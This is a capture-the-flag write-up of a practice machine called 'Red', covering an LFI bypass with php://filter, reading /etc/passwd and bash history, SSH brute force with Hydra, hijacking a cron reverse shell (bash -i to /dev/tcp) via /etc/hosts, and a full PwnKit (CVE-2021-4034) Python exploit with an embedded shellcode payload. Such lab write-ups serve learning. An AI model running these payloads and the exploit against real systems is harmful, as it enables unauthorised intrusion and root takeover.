Skip to main content

Red

This report details the process of identifying and exploiting vulnerabilities in a target system, designated "Red," as part of a simulated penetration testing exercise. The attack path involves exploiting a Local File Inclusion (LFI) vulnerability, bypassing weak input sanitization, discovering and cracking a password, gaining initial access via SSH, manipulating file attributes for a reverse shell, and ultimately achieving root-level access through the exploitation of CVE-2021-4034 (PwnKit).

Room Introduction

The match has started, and Red has taken the lead on you. But you are Blue, and only you can take Red down.

However, Red has implemented some defense mechanisms that will make the battle a bit difficult:

  1. Red has been known to kick adversaries out of the machine. Is there a way around it?
  2. Red likes to change adversaries' passwords but tends to keep them relatively the same.
  3. Red likes to taunt adversaries in order to throw off their focus. Keep your mind sharp!

I. Initial Reconnaissance and Enumeration

The initial phase focused on identifying open ports and services on the target system.

export TARGET_IP=10.10.117.183
nmap -p- --min-rate 5000 $TARGET_IP

II. Web Application Vulnerability Analysis (LFI)

The URL structure of the web application (http://$TARGET_IP/index.php?page=home.html) strongly suggested the possibility of a Local File Inclusion (LFI) vulnerability. LFI vulnerabilities allow attackers to include local files on the server within the output of a web page.

A. Initial LFI Attempts:

Direct attempts to access system files using common LFI payloads were unsuccessful:

  • ?page=/etc/passwd (Failed)
  • ?page=../../../../../etc/passwd (Failed)

This indicated the presence of some form of input sanitization.

B. Bypassing Sanitization with PHP Filters:

To circumvent the sanitization, the php://filter stream wrapper was employed. This wrapper provides a way to apply filters to data streams.

http://$TARGET_IP/index.php?page=php://filter/convert.base64-encode/resource=index.php

Explanation:

  • php://filter: Specifies the PHP filter stream wrapper.
  • convert.base64-encode: Applies a base64 encoding filter. This is crucial because it prevents the included PHP code from being executed by the server. Instead, the base64-encoded source code is returned, which can then be decoded by the attacker.
  • resource=index.php: Specifies the target file to be included.

C. Source Code Analysis:

The base64-encoded output was decoded to reveal the PHP source code:

<?php
function sanitize_input($param) {
$param1 = str_replace("../","",$param);
$param2 = str_replace("./","",$param1);
return $param2;
}

$page = $_GET['page'];

if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
?>

Vulnerability Breakdown:

  1. Weak Sanitization (sanitize_input): The sanitize_input function attempts to remove directory traversal sequences (../ and ./). However, this is easily bypassed by using alternative representations (e.g., nested sequences like ....// or URL encoding). It's also completely ineffective against absolute paths.

  2. Restrictive but Bypassable preg_match: The preg_match("/^[a-z]/", $page) check enforces that the $page parameter starts with a lowercase letter. This prevents direct access to files like /etc/passwd. However, the php://filter wrapper bypasses this check because the wrapper itself starts with a lowercase letter.

  3. Dangerous readfile: The readfile($page) function is the core of the vulnerability. It reads the contents of the specified file and sends it to the output. Because of the weak sanitization and the bypassed preg_match check, an attacker can control the $page variable and read arbitrary files.

D. Reading Sensitive Files:

Using the php://filter wrapper, the /etc/passwd file was successfully read:

http://$TARGET_IP/index.php?page=php://filter/resource=/etc/passwd

Findings:

  • Two user accounts were identified: blue and red.

III. Password Cracking and Initial Access

A. Discovering Password Generation Logic:

The .bash_history file of the blue user was read using the LFI vulnerability:

http://$TARGET_IP/index.php?page=php://filter/resource=/home/blue/.bash_history

Contents:

echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y

This revealed a password generation process:

  1. A "reminder" string was used as input.
  2. hashcat with the best64.rule was used to generate a list of password variations.

B. Retrieving the Reminder:

http://$TARGET_IP/index.php?page=php://filter/resource=/home/blue/.reminder

The reminder was: sup3r_p@s$w0rd!

C. Password List Generation:

echo 'sup3r_p@s$w0rd!' > .reminder
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt

D. Brute-Force Attack on SSH:

Hydra was used for a brute-force attack.

hydra -V -l "blue" -P passlist.txt ssh://$TARGET_IP -f

This identified a valid password for the blue user.

E. Gaining Initial Access (SSH):

ssh blue@$TARGET_IP -T  # Use the cracked password

Key Improvement (-T option): The -T option in the ssh command is critical. It disables pseudo-terminal allocation, preventing the session from being terminated by standard methods used by the system's defense mechanisms. This addresses the first challenge mentioned in the original problem statement.

IV. Privilege Escalation (Red User)

A. Identifying a Suspicious Process:

After gaining access as the blue user, the running processes were examined:

ps aux

A suspicious process was identified:

red        15503  0.0  0.0   6972  2524 ?        S    08:18   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

This indicates a reverse shell attempt to a host named redrules.thm on port 9001, running as the red user.

B. Analyzing /etc/hosts:

cat /etc/hosts

Contents:

192.168.0.1 redrules.thm

The IP address 192.168.0.1 is likely unreachable from the target network.

C. Modifying /etc/hosts (Append-Only Attribute):

Attempts to directly modify /etc/hosts failed. Examination of the file attributes revealed the issue:

ls -l /etc/hosts  # Check permissions (-rw-r--rw-)
lsattr /etc/hosts # Check extended attributes (-----a--------e-----)

The a attribute indicates that the file is append-only. This is a crucial finding. We can add to the file, but not overwrite existing content.

D. Redirecting redrules.thm:

The /etc/hosts file was appended with an entry to redirect redrules.thm to the attacker's machine:

echo "$ATTACKER_IP redrules.thm" >> /etc/hosts

E. Setting up a Listener (Netcat):

On the attacker machine, a Netcat listener was started:

nc -nvlp 9001

F. Obtaining a Reverse Shell (Red User):

After the cron job executed (likely every minute), a reverse shell connection was received from the target, providing access as the red user.

id  # Confirm user (uid=1001(red))

V. Privilege Escalation (Root User - CVE-2021-4034)

A. Identifying a Suspicious pkexec Binary:

A .git folder was present in /home/red/ containing pkexec binary.

/home/red/.git/pkexec --version # pkexec version 0.105

B. Vulnerability Analysis (CVE-2021-4034 - PwnKit):

The presence of a custom pkexec binary (version 0.105) suggests a potential vulnerability. CVE-2021-4034, also known as "PwnKit," is a local privilege escalation vulnerability affecting polkit's pkexec utility. The vulnerability allows an unprivileged user to execute arbitrary code with root privileges.

C. Exploit Implementation (CVE-2021-4034):

An exploit was downloaded (for example, https://github.com/joeammond/CVE-2021-4034/tree/main).

#!/usr/bin/env python3
import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
''' # Base64-encoded msfvenom payload (linux/x64/exec, PrependSetuid=true)
payload = base64.b64decode(payload_b64)

# --- Exploit Code (Rest of the exploit remains the same) ---

# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]

# Find the C library to call execve() directly
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()

# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()

# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)

D. Executing the Exploit:

python3 exploit.py
id # Confirm root access (uid=0(root))